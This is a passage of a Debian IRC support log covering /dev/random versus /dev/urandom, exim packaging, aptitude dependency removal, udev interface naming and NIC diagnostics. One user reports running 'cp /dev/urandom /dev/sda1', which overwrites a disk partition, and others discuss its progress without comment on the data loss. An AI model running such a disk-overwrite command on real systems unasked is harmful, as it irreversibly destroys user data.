| 17:42.09 | Wyzard | squisher: no, it's how much *actual* random data the system has gathered |
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| 17:42.16 | Haris | Can't find it in cat /proc/filesystems |
| 17:42.23 | bloodandsoil | <PROTECTED> |
| 17:42.23 | bloodandsoil | <PROTECTED> |
| 17:42.23 | bloodandsoil | <PROTECTED> |
| 17:42.23 | Wyzard | squisher: from external sources like timing of the keyboard and network packets |
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| 17:42.36 | bloodandsoil | WoW |
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| 17:42.45 | Wyzard | squisher: If the entropy pool is empty, random blocks; unrandom generates a pseudo-random sequence |
| 17:42.46 | stew | Haris: modprobe cifs |
| 17:43.08 | bloodandsoil | I don't think I have a problem worrying about a "cryptographic attack on the algorithms used by the driver". |
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| 17:43.33 | bloodandsoil | Knowledge |
| 17:43.34 | bloodandsoil | <PROTECTED> |
| 17:43.34 | bloodandsoil | <PROTECTED> |
| 17:43.35 | bloodandsoil | WTF? |
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| 17:43.49 | squisher | Wyzard: Ah, I see. I thought random also returned pseudo-random numbers. But it makes sense that it can collect this truly random data and use it |
| 17:43.51 | bloodandsoil | <PROTECTED> |
| 17:43.56 | stew | !tell bloodandsoil about flood |
| 17:44.02 | Wyzard | bloodandsoil: Stop pasting |
| 17:44.11 | bloodandsoil | sorry |
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| 17:44.16 | bloodandsoil | but |
| 17:44.17 | bloodandsoil | wtf |
| 17:44.26 | stew | bloodandsoil: can you ask a more specific question? |
| 17:44.32 | Wyzard | bloodandsoil: /dev/random is used for security-sensitive things like generating cryptographic keys |
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| 17:44.44 | bloodandsoil | Knowledge of how to do this is not available in teh current non-classified lieature, but it is theoritecially pssoible that such an attack may exist? |
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| 17:44.58 | Wyzard | bloodandsoil: so it needs to have the property that an attacker can't predict what bytes it'll produce next, even knowing all it's produced previously |
| 17:45.30 | Wyzard | bloodandsoil: With a pseudo-random sequence, you don't have that guarantee, because the data follows an algorithm which an attacker could use to predict future output |
| 17:45.39 | geo-rge | bloodandsoil: one thing you can do is reformat those kinds of things so they don't do so many enters and don't look so unreadable... hmm, removing all the enters and making sure one space between words would have been one line! |
| 17:45.55 | bloodandsoil | how is it possible to do that except if you have your own sub-atomic quark random-ization machine? |
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| 17:46.13 | Wyzard | bloodandsoil: Do what, generate true randomness? |
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| 17:46.37 | Wyzard | bloodandsoil: One could argue that nothing in the universe is truly random, but that's philosophical... the important point is that it's unpredictable to an attacker |
| 17:46.43 | geo-rge | whoever wrote that is a total idiot if he thinks the information he's trying to hide is not very well known |
| 17:46.45 | bloodandsoil | Wyzard: No. |
| 17:47.23 | bloodandsoil | " Knowledge f how to do this is not available in the current non-classified literature, but it is theoretically possible that such an attack may exist." |
| 17:47.51 | bloodandsoil | ^ man 4 random |
| 17:47.57 | Haris | stew: No output |
| 17:48.06 | Haris | Yes, there is |
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| 17:48.12 | geo-rge | what do you do after the debootstrap to perfomr the equiv of depmod in the new (not booted into) etch? |
| 17:48.14 | Wyzard | bloodandsoil: That just means nobody's published a working proof-of-concept attack for predicting the output of /dev/urandom |
| 17:48.15 | Haris | Its in /proc/filesystems now |
| 17:48.16 | stew | Haris: no news is good news. that means that the cifs driver was loaded into your system |
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| 17:48.23 | Haris | Will it be gone after a reboot? |
| 17:48.24 | stew | geo-rge: kindly refrain from calling people idiots |
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| 17:48.42 | stew | Haris: yes. but it will be automatically loaded if it is needed |
| 17:48.45 | squisher | geo-rge: doesn't depmod get called during init? |
| 17:48.46 | bloodandsoil | Wyzard: Nobody has published....so re-assuring. |
| 17:48.57 | Haris | Ok, goo |
| 17:48.58 | Wyzard | bloodandsoil: but since urandom produces a pseudorandom sequence, it *could* be predicted if an attacker could determine its current state (i.e. by rooting your box) |
| 17:49.01 | Haris | Ok, good+ |
| 17:49.06 | geo-rge | stew: oh, so it wasn't bush? I'm sorry but he's an idiot too |
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| 17:49.42 | Wyzard | bloodandsoil: It's not *meant* to be reassuring -- it's telling you that you shouldn't rely on urandom if you're concerned about the possibility of your random sequence being predicted by an attacker |
| 17:49.42 | bloodandsoil | Wyzard: So my cp /dev/urandom /dev/sda1 command is still running.... |
| 17:49.57 | bloodandsoil | how do I check on it's progress? |
| 17:50.08 | Wyzard | bloodandsoil: I don't think cp has any sort of progress display |
| 17:50.12 | bloodandsoil | yea |
| 17:50.16 | bloodandsoil | it does |
| 17:50.19 | bloodandsoil | there is a way |
| 17:50.21 | Haris | What's the difference between package exim and exim4? |
| 17:50.26 | Wyzard | bloodandsoil: If you'd used dd, you could send a SIGHUP to that and it'd print its progress |
| 17:50.26 | themill | !tell bloodandsoil about enter |
| 17:50.34 | stew | bloodandsoil: you can't really. if monitoring progress was an issue you could have used something like pv, but now that it has started there is no way to know |
| 17:50.38 | peterS | Haris: exim is Exim version 3, exim4 is Exim version 4 |
| 17:50.41 | dondelelcaro | Wyzard: if exim actually exists as a non-transition package it's exim3 |
| 17:50.56 | Haris | peterS: Daaaaaaamn! version 3 is still going? |
| 17:50.58 | peterS | and yes, I believe it does still exist as a non-transition package |
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| 17:51.00 | Haris | damn old thing |
| 17:51.04 | Wyzard | dondelelcaro: I'm not Haris :-) |
| 17:51.05 | peterS | Haris: not still going, but still shipped by Debian |
| 17:51.09 | dondelelcaro | peterS: doesn't appaer to in unstable |
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| 17:51.15 | bloodandsoil | oh well |
| 17:51.23 | bloodandsoil | i could take a whole week |
| 17:51.26 | bloodandsoil | or a month |
| 17:51.32 | peterS | dondelelcaro: ahh, cleaned up in the Great Purge of '07, I guess. along with php4 and apache 1.3 |
| 17:51.37 | Wyzard | bloodandsoil: not unless your hard drive is really slow |
| 17:51.42 | dondelelcaro | well, for !armeb, anyway |
| 17:51.57 | Haris | debian should put exim as exim3 and the latest version as package: exim |
| 17:52.15 | dondelelcaro | Haris: it may change at some point in the future |
| 17:52.20 | bloodandsoil | why is my hard drive light off most of the time?? |
| 17:52.37 | dondelelcaro | Haris: but because of the number of things which depend on exim and expect it to be exim3, not exim4, it'll take a release |
| 17:52.45 | bloodandsoil | maybe I should switch to the dd command?? |
| 17:52.54 | Haris | dondelelcaro: That's actually hard to believe |
| 17:52.58 | Haris | What could depend on a mta? |
| 17:53.10 | Wyzard | bloodandsoil: That's unlikely to make a difference |
| 17:53.10 | streuner__ | cron |
| 17:53.16 | Eulex | Haris, apt-cache rdepends exim |
| 17:53.19 | peterS | bloodandsoil: dd isn't faster than cp. it is, in fact, slower |
| 17:53.21 | surviver | anyone can help? i have placed a network (eth0) card in my pc so now i boot i edited /etc/network/interfaces i filled in my network settings , i restarted the daemon and i get back a inet addr of 127.0.0.1 so maybe i did something wrong? |
| 17:53.26 | bloodandsoil | shouldn't my HD activity light be on constantly if I did the cp /dev/urandom /dev/sda1 command? |
| 17:53.42 | Wyzard | surviver: What daemon are you talking about? |
| 17:53.48 | surviver | networking |
| 17:53.52 | valdyn | bloodandsoil: no |
| 17:53.55 | peterS | bloodandsoil: no, /dev/urandom isn't all that fast. the kernel has to perform a lot of computations to produce pseudo-randomness in that quantity |
| 17:54.11 | Wyzard | surviver: "networking" isn't a daemon... do you mean "/etc/init.d/networking restart" ? |
| 17:54.14 | valdyn | bloodandsoil: i dont think cp does what you want |
| 17:54.15 | pumpkin0 | bloodandsoil: run "sync" to get a nice flash... |
| 17:54.16 | bloodandsoil | so why isn't my HD activity light constantly on? |
| 17:54.21 | Haris | I think its upgrading my kernel when I told it to aptitude upgrade exim4 |
| 17:54.22 | surviver | wyzard, yes |
| 17:54.23 | dondelelcaro | Haris: everything that depends on mail-transport-agent used to depend on exim | mail-transport-agent, and now depends on exim4 | mail-transport-agent (or similar) |
| 17:54.29 | peterS | valdyn: why not? what doesn't it do? |
| 17:54.38 | Wyzard | surviver: That just does ifdown followed by ifup on each of your interfaces |
| 17:54.50 | dondelelcaro | valdyn: in this case it does; cp is a bit "odd" for devicefs |
| 17:54.54 | Haris | dondelelcaro: I'm sure happy this is NOT the case in other distros' |
| 17:54.58 | valdyn | peterS: copy stuff to the disk /dev/sda1 |
| 17:54.59 | Wyzard | surviver: The 127.0.0.1 address you saw is the address of your loopback interface, lo, and that's normal and should always be there |
| 17:55.01 | valdyn | dondelelcaro: i see |
| 17:55.06 | valdyn | dondelelcaro: thanks |
| 17:55.06 | Wyzard | surviver: Your eth0 interface would have a different IP |
| 17:55.10 | Haris | This is funny |
| 17:55.10 | Haris | <PROTECTED> |
| 17:55.11 | peterS | valdyn: have you ever tried it? it does exactly what dd does |
| 17:55.14 | pumpkin0 | bloodandsoil: the CPU can only create ... 10MB/s random data. Your drives takes 70MB/s and sleeps the rest of the time. |
| 17:55.18 | Haris | hehe |
| 17:55.19 | valdyn | peterS: nope i haven't |
| 17:55.26 | dondelelcaro | Haris: actually, most other distributions just install a mail transport agent by default and don't ask you not to |
| 17:55.34 | surviver | wyzard, so i rebooted to ... but nothing happened my eth0 is not mapped altough i added it as static in my config file |
| 17:55.38 | peterS | valdyn: well, not quite exactly, it uses a larger block size by default, so cp is somewhat more efficient unless you use dd's "bs=" flag |
| 17:55.41 | bloodandsoil | pumpkin0: hmmm |
| 17:55.42 | dondelelcaro | Haris: and no, the kernel version probably isn't exactly the same |
| 17:55.48 | Wyzard | surviver: What are you using to check your IP? |
| 17:55.56 | surviver | wyzard, ifconfig -a |
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| 17:56.14 | Haris | I just hope it doesn't screw the box |
| 17:56.19 | squisher | surviver: did you put 'auto eth0' in interfaces? |
| 17:56.22 | Haris | This is a brand new install just 2 hours ago |
| 17:56.26 | surviver | wyzard sry ifconfig |
| 17:56.34 | surviver | squisher, mzz let me look |
| 17:56.38 | Tallu | Uhm, I have a weird issue. Every second reboot my secondary ethernet card shows up as eth2, and other times eth3. |
| 17:56.47 | peterS | blame udev! |
| 17:56.52 | dondelelcaro | Haris: updating the stable kernel for security fixes et al. shouldn't cause a problem. |
| 17:56.56 | Tallu | I do! Can I fix it? |
| 17:57.26 | Haris | dondelelcaro: I told it to upgrade exim |
| 17:57.40 | squisher | Tallu: yeah, I have a similar thing... every now and then my mice show up as mouse1 mouse2 instead of mouse0 mouse1... annoying as hell |
| 17:57.55 | dondelelcaro | Tallu: are you running udev? have you modified the persistent-net generator rules? |
| 17:58.01 | Wyzard | Tallu: udev normally assigns consistent names to network interfaces based on their MAC address, which is (presumably) consistent |
| 17:58.04 | Haris | A long list of apps, that should not depend on exim |
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| 17:58.06 | surviver | squisher, wyzard, so i have this : auto lo then the next box where my static is placed iface eth0 inet satic and then every line adress and subnet ... |
| 17:58.17 | dondelelcaro | Haris: yes, and you had other upgrades already queued |
| 17:58.20 | Wyzard | Tallu: though apparently some network cards change their MAC addresses each time the system is booted, so udev thinks it's a new card every time |
| 17:58.22 | Haris | Didn't they make apps free of default mta? |
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| 17:58.29 | Wyzard | surviver: You need "auto eth0" too |
| 17:58.33 | Haris | If I install qmail or postfix, would it break them? |
| 17:58.33 | Tallu | dondelelcaro: running udev yes, haven't modified anything, this is somewhat a vanilla etch installation |
| 17:58.37 | Haris | that's BS! |
| 17:58.40 | Wyzard | surviver: "/etc/init.d/networking start" really just runs "ifup -a" |
| 17:58.46 | Haris | Shouldn't be like this |
| 17:58.47 | Tallu | Wyzard: well it jumps between eth2 and eth3, and the card has no such functionality |
| 17:58.51 | Wyzard | surviver: and "ifup -a" configures all interfaces that are defined as auto |
| 17:58.59 | Wyzard | Tallu: yeah, that's weird |
| 17:59.10 | dondelelcaro | Tallu: we'd need to see ifconfig -a and /etc/udev/rules.d/z25_persistent-net.rules |
| 17:59.16 | squisher | surviver: you need to add 'auto eth0' then, or run manually 'ifup eth0' |
| 17:59.17 | surviver | wyzard where do i add that? right under auto lo? or where i added iface eth0... |
| 17:59.20 | Tallu | dondelelcaro: okay, just a second |
| 17:59.27 | dondelelcaro | Tallu: you'll probably find that the mac address changes between two different values |
| 17:59.34 | squisher | surviver: usually just above the iface eth0 line |
| 17:59.36 | Wyzard | surviver: Anywhere in the file is fine, but the line before the "iface eth0" line would be the usual place |
| 17:59.47 | Haris | I told it to remove uw-imapd and it removed 3 other things. |
| 17:59.51 | Haris | This is INTERESTING |
| 18:00.02 | mick_work | hi everyone, how can i see if an (DNS) SRV record works? i'm trying w/ nslookup to no availe (I have also asked in #bind and #dns -- all of which seem dead) |
| 18:00.02 | Haris | Removing libc-client2002edebian ... |
| 18:00.03 | Haris | Removing mlock ... |
| 18:00.03 | Haris | Removing openssl ... |
| 18:00.03 | dondelelcaro | Haris: because uw-imapd has multiple parts, of course. |
| 18:00.13 | squisher | Haris: I think that's why I still use apt-get ;-) |
| 18:00.15 | Wyzard | Haris: Are you using aptitude? |
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| 18:00.28 | Haris | I can't believe un-installing an imapd would uninstall openssl. *laugh* |
| 18:00.38 | dondelelcaro | Haris: and is probably the only thing you've got installed that depends on openssl mlock and libc-client2002edebian |
| 18:00.39 | Haris | Wyzard: Yep |
| 18:00.49 | Haris | Wyzard: I was told its the latest version. dump apt-get, use aptitude |
| 18:00.56 | Wyzard | Haris: It removed openssl because it was installed only to satisfy uw-imapd's dependency, and now uw-imapd doesn't depend on it anymore so it's not needed anymore |
| 18:00.57 | Tallu | dondelelcaro: wow, yeah. you're right, this is interesting. |
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| 18:01.11 | Tallu | dondelelcaro: http://pastebin.com/m50a88fa5 |
| 18:01.17 | Wyzard | Haris: It's a feature, to avoid cluttering up your system with old dependencies (outdated libraries, etc.) that nothing uses anymore |
| 18:01.18 | mick_work | i tried: nslookup \n set type=SRV \n _xmpp._tcp \n and i get: ** server can't find _: NXDOMAIN |
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| 18:01.22 | Haris | dondelelcaro: what about the openssh-server? mta? and all other load of apps? |
| 18:01.39 | Haris | don't they use openssl? |
| 18:01.41 | dondelelcaro | Haris: openssh doesn't depend on openssl, and your mta may not |
| 18:01.42 | mick_work | s/\n/<enter>/g |
| 18:01.45 | Wyzard | Haris: Each package has a flag that says whether it was installed manually (because you specifically want it installed) or automatically (just to satisfy a dependency) |
| 18:01.48 | Haris | heck apache is installed too |
| 18:01.50 | Wyzard | Haris: apparently not |
| 18:01.58 | cr3 | if I have a project with several packages and a file debian/postrm, why don't all packages use that postrm file? |
| 18:02.03 | Wyzard | Haris: They may use libssl, but "openssl" is just the userspace tools IIRC |
| 18:02.28 | surviver | wyzard, k so i done that but i think its called different then eth0 , i make with that pc connection true this pc to the router (this one is right configured ) with a second card ... so its maybe called eth1? |
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| 18:02.35 | dondelelcaro | Haris: if you want openssl to be installed, install it. If you disagree with the choices of what is automatically installed, mark them as manually installed. |
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| 18:02.51 | Haris | I see.. |
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| 18:03.16 | Wyzard | Haris: aptitude won't auto-remove things that you explicitly told it to install... only things that were installed automatically for dependency reasons |
| 18:03.17 | surviver | wyzard , mzz hes saying the same "no such device eth1" |
| 18:03.23 | dondelelcaro | Tallu: heh. Yeah, a mac address of FF:FF:... is totally wrong |
| 18:03.29 | ma3x | how do i make screenshot and paste it to > file? |
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| 18:03.39 | Wyzard | Haris: In aptitude's interactive mode, you can toggle the auto flag on packages to tell aptitude whether you want to keep them or not |
| 18:03.40 | Haris | Is thomas_3421 .. a bot? |
| 18:03.40 | dondelelcaro | !screenshot |
| 18:03.41 | dpkg | i guess screenshot is 'import -window root screenshot.jpg' (requires imagemagick), or The Gimp's 'acquire -> screenshot' feature. The package scrot does a nice job too, command line, date & size shot at and png format. or man xwd |
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| 18:03.59 | themill | Haris: the openssl package just contains the tools for making certs and so forth. It's not the library (which is in libssl) |
| 18:04.10 | squisher | surviver: you should be able to find that out with 'ifconfig -a' |
| 18:04.18 | Tallu | dondelelcaro: yeah. that's very weird. why would a card get/report something like that on reboot? |
| 18:04.38 | Haris | thomas_3421 keeps saying: What's up? |
| 18:04.38 | sam_home | Hi Could you confirm that if you install using this method http://goodbye-microsoft.com/ you can end up with a full Debian system? I have read some reports suggesting that the filesystem used is within the doze partition.. |
| 18:04.46 | squisher | Haris: here too... |
| 18:04.47 | dondelelcaro | Haris: yes, I've already banned him for it |
| 18:04.47 | surviver | squisher, he just gives back my "lo" stats |
| 18:04.57 | Haris | wierd bot |
| 18:05.00 | dondelelcaro | Tallu: not sure, actually... but since that looks like a realtek card, they're kind of strange |
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| 18:05.18 | squisher | surviver: my guess is you might not have loaded the correct drivers for your network card yet |
| 18:06.01 | Haris | Ok, on rhel I have /etc/modules.conf I can change the name for NICs, their models, so to speak. Is it possible in debian? |
| 18:06.04 | Tallu | dondelelcaro: D-Link System Inc DGE-528T Gigabit Ethernet Adapter (rev 10), but yeah. the problem must be with the card. it's weird though, as it's never acted up on me before. thanks a lot though, couldnt remember where to look for those udev files :) |
| 18:06.15 | surviver | squisher, iam lookin in dmesg now to find out |
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| 18:06.18 | wols_ | Haris: what "name"? |
| 18:06.37 | themill | !tell Haris about z25 |
| 18:06.38 | wols_ | surviver: what network card chip do you have? |
| 18:06.40 | Haris | for eg, if a NIC was detected as Realtek, but was really an Intel, I could change it to e100 in that file and rhel would think its Intel |
| 18:06.54 | wols_ | Haris: /etc/modules |
| 18:07.02 | dondelelcaro | uh... nics don't get detected that way |
| 18:07.02 | Haris | They have the builtin tool for intel NICs which logs in syslog if the NIC interface goes up/down |
| 18:07.19 | wols_ | and I really don't believe something like this ever happens: PCI spec won't allow it |
| 18:07.22 | Haris | builtin = comes with the OS |
| 18:07.26 | Wyzard | Haris: NIC drivers get loaded automatically by hardware detection |
| 18:07.35 | Wyzard | Haris: Each driver module has a list of PCI IDs that it supports |
| 18:07.39 | surviver | wols_, well it was laying around here its a IBM peace |
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| 18:07.45 | dondelelcaro | Haris: and no, that's not a builtin tool, that's part of the kernel module. Most nics do that |
| 18:07.53 | wols_ | surviver: that's not what I asked. try again |
| 18:08.03 | surviver | wols_, i dont know the right brand |
| 18:08.09 | Haris | dondelelcaro: Well, that tool on rhel only works with Intel NICs. Doesn't report status for other brands |
| 18:08.09 | surviver | or chip |
| 18:08.11 | wols_ | surviver: use lspci |
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| 18:08.14 | Haris | I confirmed that in their channel |
| 18:08.18 | Wyzard | Haris: What's this tool called? |
| 18:08.19 | xingu | dondelelcaro: 1186:4300 is a de-link |
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| 18:08.22 | wols_ | Haris: wrong. |
| 18:08.27 | dondelelcaro | xingu: could be |
| 18:08.32 | Haris | Wyzard: Need to confirm |
| 18:08.34 | xingu | dondelelcaro: categorically. |
| 18:08.36 | infinity0 | uh people i need some help compiling smlnj for amd64? |
| 18:08.50 | wols_ | infinity0: then maybe you should pose a pertinent question |
| 18:08.51 | infinity0 | i've installed the build-dependent packages, there's still random latex errors or smoeting... |
| 18:09.03 | Wyzard | Haris: and by "NIC interface goes up/down", do you mean when a cable is plugged or unplugged? |
| 18:09.04 | dondelelcaro | xingu: you'll notice that Tallu has already identified it as suck |
| 18:09.17 | dondelelcaro | (and I wasn't implying that it wasn't) |
| 18:09.22 | Haris | Wyzard: Yep |
| 18:09.37 | wols_ | Haris: that is something the kernel does. for all NICs pretty much |
| 18:09.38 | Haris | It logs it in syslog |
| 18:09.44 | Wyzard | Haris: Most drivers log that info automatically |
| 18:09.49 | infinity0 | wols_: ok i'll paste the log can you have a look through it? |
| 18:09.50 | Haris | wols_: I tried with 3com and others, didn't work |
| 18:09.54 | Wyzard | Haris: and you can check it manually for any card with ethtool |
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| 18:10.05 | Haris | ethtool, hmm.. |
| 18:10.15 | Haris | I think that's the one |
| 18:10.16 | Wyzard | Haris: Maybe the 3Com driver doesn't do it, but many drivers do |
| 18:10.29 | wols_ | my really really cheap realtek does it even. same with the forced-eth, my SIS ones, etc |
| 18:10.41 | Wyzard | Haris: Now you're making stuff up... ethtool is a command-line tool that you run manually; it doesn't log anything to syslog |
| 18:10.52 | Haris | I may be mistakened |
| 18:10.54 | Haris | confirming... |
| 18:11.45 | Haris | mii-tool? |
| 18:12.07 | Wyzard | Haris: That works too, but last I checked (about half a year ago) it doesn't know what gigabit is, and reports a gigabit link as 100mbit |
| 18:12.12 | wols_ | another commandline tool like ethtool |
| 18:12.17 | wols_ | doesn't write to syslog either |
| 18:12.20 | Wyzard | Haris: ethtool properly reports gigabit, and provides some additional info too |
| 18:12.57 | Haris | Wyzard: That may also depend on speed negotiated with the switch port |
| 18:13.19 | Wyzard | naturally, but I'm talking about an actual gigabit link |
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| 18:13.32 | Wyzard | Haris: eth0: negotiated 100baseTx-FD flow-control, link ok |
| 18:13.43 | Wyzard | Haris: that's my RTL8169 connected with cat5e to a gigabit switch |
| 18:13.50 | Wyzard | according to mii-tool |
| 18:14.07 | xingu | Tallu: have you added any new peripherals to your system? wondering about power budget/ overload |
| 18:14.24 | jakub_ | how to install i386 based package |
| 18:14.26 | Wyzard | ethtool says "Speed: 1000Mb/s", and the light on the switch itself is green, indicating that gigabit was negotiated |
| 18:14.28 | jakub_ | if i have x64 |
| 18:14.31 | jakub_ | i need to install skype |
| 18:14.32 | xingu | Wyzard: pretty meaningless to ask a 1000base interface about its mii |
| 18:14.38 | xingu | Wyzard: try ethtool |
| 18:14.47 | Wyzard | jakub_: You can't, aside from making a 32-bit chroot |
| 18:14.57 | surviver | wols_, mzz searched the whole time but didnt found it i tried grep but ... |
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| 18:15.00 | wols_ | jakub_: chrrot, ia32libs, etc |
| 18:15.00 | Wyzard | xingu: I know about ethtool; that's the difference I was explaining to Haris |
| 18:15.15 | Wyzard | xingu: but what's this about MII not making sense on a gigabit card? |
| 18:15.19 | wols_ | surviver: I told you what to use. your choice if you don't want to |
| 18:15.21 | Tallu | xingu: that's actually possible.. Thanks. I'll look into it |
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| 18:16.07 | surviver | wols_, yes u said use lspci so i did didnt find it i did lspci | grep eth but didnt find anything |
| 18:16.15 | Haris | like these; |
| 18:16.16 | Haris | Oct 5 14:47:05 proxy kernel: e100: eth1 NIC Link is Up 100 Mbps Full duplex |
| 18:16.25 | wols_ | surviver: pastebin the full lspci output pleasr |
| 18:16.25 | Wyzard | Haris: See where it says "kernel:" ? |
| 18:16.29 | wols_ | *please |
| 18:16.31 | Haris | hmm.. |
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| 18:16.33 | Wyzard | Haris: That's a message from the e100 driver itself |
| 18:16.39 | Haris | can't find it in old logs |
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| 18:16.49 | surviver | wols_, would be hard cause iam not on it right now otherwhise i could connect to the internet... |
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| 18:17.05 | wols_ | surviver: then I cannot help you. have fun |
| 18:17.10 | tarzeau | anyone join bub-n-bros.sf.net ? |
| 18:17.12 | surviver | wols_, i will ty |
| 18:17.28 | Wyzard | Haris: Many other drivers print similar messages |
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| 18:18.02 | TrueDD | hi all |
| 18:18.02 | wols_ | surviver: any "Ethernet" in there? note the uppercase! or any unidentified items/numbers? |
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| 18:18.42 | xingu | Wyzard: generally there's a discrete mii for 100base and a "gmii" or "miii" or whatever-fu the vendor wants to call it for 1000base |
| 18:19.03 | surviver | wols_, nope |
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| 18:19.13 | xingu | Wyzard: descrete as in logically separate piece of silicon/ different registers to query. |
| 18:19.14 | nico__ | hi |
| 18:19.14 | Wyzard | xingu: ah... didn't know that |
| 18:19.17 | Wyzard | xingu: weird |
| 18:19.43 | xingu | Wyzard: phy/mdi is different, it's required |
| 18:19.48 | wols_ | surviver: then there is no network card that actually works in your PC unless it's an ISA card |
| 18:19.49 | surviver | wols_,and i see that it may work or it has power at least, cause i got the flikkering light |
| 18:20.12 | surviver | wols_, well i try tomorrow with another card |
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| 18:20.22 | xingu | Wyzard: quick bash at google turns up http://www.dcs.gla.ac.uk/~lewis/networkpages/m04s04FastEthernet.htm |
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| 18:20.59 | phantom_ | hi all |
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| 18:21.23 | phantom_ | I have two workstations, one with etch and the other with lenny |
| 18:21.24 | Haris | exim 4.68 has been out for long |
| 18:21.34 | Haris | why does etch only have 4.63 as latest? |
| 18:21.45 | phantom_ | In lenny fuse module comes up automaticaly, but not on etch |
| 18:21.50 | azeem | Haris: what features of 4.68 do you need? |
| 18:21.51 | phantom_ | why is this? |
| 18:21.51 | Haris | even rhel took 4.66 as latest |
| 18:21.55 | maxamillion | Haris: because that was the stable version when etch did its package freeze? |
| 18:21.56 | Haris | rhel ws3 that is |
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| 18:22.36 | Haris | maxamillion: Well, I noticed more than 1.5 GB of updates for etch. One wonders why its not there |
| 18:22.44 | Haris | azeem: Maybe bug fixes? |
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| 18:22.57 | Wyzard | Haris: etch updates are only for security fixes and other similarly critical things |
| 18:23.03 | Wyzard | Haris: not random new versions of everything |
| 18:23.08 | azeem | Haris: maybe it introduced new bugs? |
| 18:23.28 | Haris | Wyzard: I see. |
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| 18:23.51 | Haris | I do have the option of removing all exim packages and rebuilding it manually from source from scratch, right? |
| 18:24.06 | azeem | Haris: how many users do you have? |
| 18:24.11 | Haris | fbsd is much better in this regard, I guess |
| 18:24.14 | Haris | azeem: 9 |
| 18:24.18 | Haris | azeem: 0 |
| 18:24.29 | azeem | Haris: then you can do whatever you want |
| 18:24.34 | azeem | it's just a waste of time |
| 18:24.36 | stew | Haris: why would you want to rebuild exim from source? |
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| 18:24.42 | Wyzard | Haris: If you feel like doing the Debian integration manually, and doing something about the packages which depend on having an MTA package installed, sure |
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| 18:24.54 | azeem | Haris: worrying about MTAs doesn't make sense for less than a few dozen users |
| 18:25.02 | jelly-home | hi... does mod_php5 work with threaded apache2 models or not? |
| 18:25.04 | stew | Haris: is there some specific bug that isn't fixed in stable that you need to have fixed? |
| 18:25.08 | Wyzard | Haris: and if you don't mind having to keep track of security flaws and apply patches manually, rather than just using aptitude to install updates |
| 18:25.22 | Haris | stew: Maybe I'm wasting time discussing this anyway |
| 18:25.28 | Haris | I am |
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| 18:25.43 | azeem | maybe Debian is the right distribution for you |
| 18:25.46 | azeem | isn't* |
| 18:26.01 | Haris | azeem: I'll be the judge of that |
| 18:26.10 | azeem | sure, just pointing it out |
| 18:26.18 | Haris | You needn't. Thankyou |
| 18:26.37 | sepski | Haris, you can ofcourse remove exim, and install whatever you want from source, just make sure you satisfy the mail-transport-agent dpendency with a package or a equivs package. |
| 18:26.55 | sepski | Haris, what patches are you planing on adding that is not in the official packages ? |
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| 18:27.31 | jelly-home | backporting is an option too |
| 18:27.33 | Haris | sepski: Right now, I'm not worried about it. I was discussing why the latest wasn't there |
| 18:27.44 | Haris | I have php4 security updates I'm wiating for |
| 18:27.48 | Haris | for sarge and etch |
| 18:27.53 | Haris | both php4 and php5 have bugs |
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| 18:28.03 | Haris | but that's php |
| 18:28.05 | Haris | this is the mta |
| 18:28.11 | themill | !tell root___ about root |
| 18:28.20 | Haris | Nothing depends on the mta in rhel, fbsd |
| 18:28.40 | themill | jelly-home: iirc, php5 doesn't like threaded mpm either |
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| 18:28.53 | Haris | I upgraded to the latest for sarge |
| 18:28.55 | sepski | everything that deliver alerts by mail would need a mta, |
| 18:28.56 | Haris | what happens next? |
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| 18:29.07 | Wyzard | Haris: How do things like cron send you the output of your jobs if you don't have an MTA, then? |
| 18:29.07 | Haris | in a matter of hours, index files of websites have additions |
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| 18:29.30 | Haris | Wyzard: Why should cron depend on an mta for that? |
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| 18:29.49 | themill | Haris: how does cron send you an email if you don't have an mta installed? |
| 18:29.51 | stew | Haris: the latest exim4 is not in etch becuase it didn't exist when etch was frozen pre-release |
| 18:29.52 | Haris | Yes, htey do come with sendmail pre-configured |
| 18:29.55 | Wyzard | Haris: so it doesn't have to implement mail delivery itself, which is rather out-of-scope for it |
| 18:30.17 | Haris | stew: I understand. |
| 18:30.49 | jelly-home | Haris: um, sendmail is a mta. :-) |
| 18:31.09 | sam_home | does goodbye-microsoft.com launch the normal debian installer please? |
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| 18:31.15 | azeem | sam_home: yes |
| 18:31.21 | sam_home | thanks |
| 18:31.33 | Haris | courier-imap is also a rdep |
| 18:31.46 | Haris | I see |
| 18:31.53 | Haris | Since you are managing ALOT of packages |
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| 18:32.03 | Haris | you'v made it a rdep of the mta |
| 18:32.07 | Haris | so its easy to manage |
| 18:32.18 | Haris | WHEN its installed |
| 18:32.20 | sam_home | is there a how - to on how you could make a preseeded version? |
| 18:32.24 | azeem | Haris: are you trolling? |
| 18:32.26 | Haris | Is that how it is? |
| 18:32.32 | Haris | ease of package management? |
| 18:32.38 | Haris | for+ ease of.. |
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| 18:33.03 | Wyzard | Haris: courier-imap depends on "exim4 | mail-transport-agent" |
| 18:33.24 | Haris | I don't understand the part after | if it has a seperate meaning |
| 18:33.30 | Wyzard | Haris: mail-transport-agent is a virtual package provided by all the packaged MTAs (exim, postfix, etc.) so any of them will satisfy Courier's dependency |
| 18:33.33 | azeem | Haris: read the policy manual |
| 18:33.34 | sepski | Haris, think of | as OR |
| 18:33.39 | Haris | ah |
| 18:33.56 | Wyzard | Haris: but if you don't have any MTA installed, exim4 will be installed because that's listed first |
| 18:34.18 | nico__ | what app do you use to connect to bluetooth devices? (retrieve pictures from a cell phone for example) |
| 18:34.19 | Wyzard | Haris: All that's irrelevant if you don't actually have courier-imap installed, though |
| 18:34.22 | Haris | I heard debian's default selection for mta is exim |
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| 18:34.30 | azeem | you heard right |
| 18:34.36 | Wyzard | Haris: Packages that aren't installed don't impose any dependencies |
| 18:34.47 | Haris | Wyzard: Naturally =) |
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| 18:35.30 | sepski | Haris, this is why you would satisfy the mail-transport-agent using a equivs package if you install your own mta from source, but nobody bothers doing that when all the good ones are packaged for debian allready :) |
| 18:35.33 | Haris | ok, so by default if I needed to have courier-imap, and I wanted it setup/done automatically, debian would setup exim{4} and the related packages and then courier-imap |
| 18:35.38 | sam_home | nico bluez-utils |
| 18:35.54 | sepski | Haris, by default exim would be installed out of the box. |
| 18:36.05 | Haris | sepski: Yes, the automatic versus manual management |
| 18:36.05 | sepski | Haris, but yes that's now it would happen |
| 18:36.06 | Wyzard | Haris: If you already have an MTA installed (either exim, or something else like postfix), that dependency is already satisfied so there's no need to install another MTA |
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| 18:36.26 | Haris | Wyzard: Good. |
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| 18:36.46 | Wyzard | Haris: "exim4 | mail-transport-agent" just means that exim4 is predictably the one that'll be installed *if necessary*, if there isn't already some other mail-transport-agent |
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| 18:37.03 | Haris | ok, comming to exim |
